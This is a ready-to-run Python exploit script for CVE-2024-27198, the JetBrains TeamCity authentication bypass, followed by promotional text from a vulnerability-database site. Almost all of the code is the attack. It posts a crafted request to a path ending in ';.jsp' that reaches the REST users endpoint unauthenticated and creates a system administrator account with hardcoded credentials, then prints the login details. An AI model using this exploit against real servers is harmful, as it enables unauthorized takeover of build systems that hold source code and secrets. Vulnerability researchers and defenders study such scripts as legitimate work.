#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
# Exploit Title: JetBrains TeamCity 2023.11.4 - Authentication Bypass
# Date: 2024-02-21
# Exploit Author: ibrahimsql (https://github.com/ibrahimsql)
# Vendor Homepage: https://www.jetbrains.com/teamcity/
# Version: < 2023.11.4
# CVE: CVE-2024-27198
# CVSS Score: 9.8 (Critical)
# Description:
# JetBrains TeamCity before version 2023.11.4 contains a critical authentication bypass
# vulnerability that allows unauthenticated attackers to perform administrative actions.
# The vulnerability leverages a path traversal-like technique in the JSP handling
# mechanism combined with REST API endpoints to bypass authentication.
# Requirements: requests>=2.25.1
"""
import requests
import argparse
import sys
import json
from urllib.parse import urlparse
requests.packages.urllib3.disable_warnings()
class Colors:
RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
BLUE = '\033[94m'
CYAN = '\033[96m'
BOLD = '\033[1m'
END = '\033[0m'
banner = f"""{Colors.CYAN}
████████╗███████╗ █████╗ ███╗ ███╗ ██████╗██╗████████╗██╗ ██╗
╚══██╔══╝██╔════╝██╔══██╗████╗ ████║██╔════╝██║╚══██╔══╝╚██╗ ██╔╝
██║ █████╗ ███████║██╔████╔██║██║ ██║ ██║ ╚████╔╝
██║ ██╔══╝ ██╔══██║██║╚██╔╝██║██║ ██║ ██║ ╚██╔╝
██║ ███████╗██║ ██║██║ ╚═╝ ██║╚██████╗██║ ██║ ██║
╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝ ╚═╝
{Colors.END}
{Colors.BOLD}{Colors.RED} TeamCity Authentication Bypass (CVE-2024-27198){Colors.END}
{Colors.YELLOW} Author: ibrahimsql{Colors.END}
"""
parser = argparse.ArgumentParser(description="TeamCity Authentication Bypass Exploit (CVE-2024-27198)")
parser.add_argument("--url", type=str, required=True, help="Target TeamCity URL")
parser.add_argument("--timeout", type=int, default=15, help="Request timeout (default: 15)")
parser.add_argument("--verbose", "-v", action="store_true", help="Enable verbose output")
args = parser.parse_args()
class TeamCityExploit:
def __init__(self, target_url, timeout=15, verbose=False):
self.target_url = target_url.rstrip('/')
self.timeout = timeout
self.verbose = verbose
self.session = requests.Session()
def _log(self, message, level="info"):
if level == "success":
print(f"{Colors.GREEN}[+] {message}{Colors.END}")
elif level == "error":
print(f"{Colors.RED}[-] {message}{Colors.END}")
elif level == "warning":
print(f"{Colors.YELLOW}[!] {message}{Colors.END}")
elif level == "info":
print(f"{Colors.BLUE}[*] {message}{Colors.END}")
elif level == "verbose" and self.verbose:
print(f"[DEBUG] {message}")
def check_target_reachability(self):
try:
self._log(f"Checking target: {self.target_url}")
response = self.session.get(self.target_url, verify=False, timeout=self.timeout)
if response.status_code in [200, 302, 401, 403]:
self._log("Target is reachable", "success")
return True
else:
self._log(f"Unexpected status: {response.status_code}", "error")
return False
except requests.exceptions.Timeout:
self._log("Connection timeout", "error")
return False
except requests.exceptions.ConnectionError:
self._log("Connection error", "error")
return False
except Exception as e:
self._log(f"Error: {str(e)}", "error")
return False
def exploit_authentication_bypass(self):
exploit_path = "/idontexist?jsp=/app/rest/users;.jsp"
full_url = f"{self.target_url}{exploit_path}"
self._log(f"Targeting: {full_url}")
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Accept": "application/json, text/plain, */*"
}
payload = {
"username": "ibrahimsql",
"password": "ibrahimsql",
"email": "[email protected]",
"roles": {
"role": [{
"roleId": "SYSTEM_ADMIN",
"scope": "g"
}]
}
}
self._log(f"Payload: {json.dumps(payload)}", "verbose")
try:
self._log("Attempting authentication bypass...")
response = self.session.post(full_url, headers=headers, verify=False, json=payload, timeout=self.timeout)
self._log(f"Status: {response.status_code}", "verbose")
self._log(f"Response: {response.text[:200]}", "verbose")
if response.status_code == 200:
self._log("Exploit successful!", "success")
print(f"\n{Colors.BOLD}{Colors.GREEN}[SUCCESS] Admin user created!{Colors.END}")
print(f"{Colors.CYAN}{'='*50}{Colors.END}")
print(f"{Colors.YELLOW}Username:{Colors.END} ibrahimsql")
print(f"{Colors.YELLOW}Password:{Colors.END} ibrahimsql")
print(f"{Colors.YELLOW}Login URL:{Colors.END} {self.target_url}/login.html")
print(f"{Colors.CYAN}{'='*50}{Colors.END}")
return True
elif response.status_code == 401:
self._log("Authentication required - target may be patched", "error")
return False
elif response.status_code == 404:
self._log("Endpoint not found - target may be patched", "error")
return False
elif response.status_code == 403:
self._log("Access forbidden", "error")
return False
else:
self._log(f"Unexpected status: {response.status_code}", "error")
return False
except requests.exceptions.Timeout:
self._log("Request timeout", "error")
return False
except requests.exceptions.ConnectionError:
self._log("Connection error", "error")
return False
except Exception as e:
self._log(f"Error: {str(e)}", "error")
return False
def validate_url(url):
try:
parsed = urlparse(url)
if not parsed.scheme:
url = f"http://{url}"
parsed = urlparse(url)
if parsed.scheme not in ['http', 'https']:
raise ValueError("URL must use HTTP or HTTPS")
if not parsed.netloc:
raise ValueError("Invalid URL format")
return url
except Exception as e:
raise ValueError(f"Invalid URL: {str(e)}")
def main():
print(banner)
try:
target_url = validate_url(args.url)
print(f"{Colors.BOLD}{Colors.CYAN}=== CVE-2024-27198 TeamCity Exploit ==={Colors.END}")
print(f"{Colors.YELLOW}Author:{Colors.END} ibrahimsql")
print(f"{Colors.YELLOW}Target:{Colors.END} {target_url}")
print(f"{Colors.CYAN}{'='*45}{Colors.END}\n")
exploit = TeamCityExploit(target_url=target_url, timeout=args.timeout, verbose=args.verbose)
if not exploit.check_target_reachability():
exploit._log("Cannot reach target", "error")
sys.exit(1)
success = exploit.exploit_authentication_bypass()
if success:
exploit._log("Exploit completed!", "success")
sys.exit(0)
else:
exploit._log("Exploit failed", "error")
sys.exit(1)
except ValueError as e:
print(f"{Colors.RED}[-] {str(e)}{Colors.END}")
sys.exit(1)
except KeyboardInterrupt:
print(f"\n{Colors.YELLOW}[!] Interrupted{Colors.END}")
sys.exit(1)
except Exception as e:
print(f"{Colors.RED}[-] Error: {str(e)}{Colors.END}")
sys.exit(1)
if __name__ == "__main__":
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation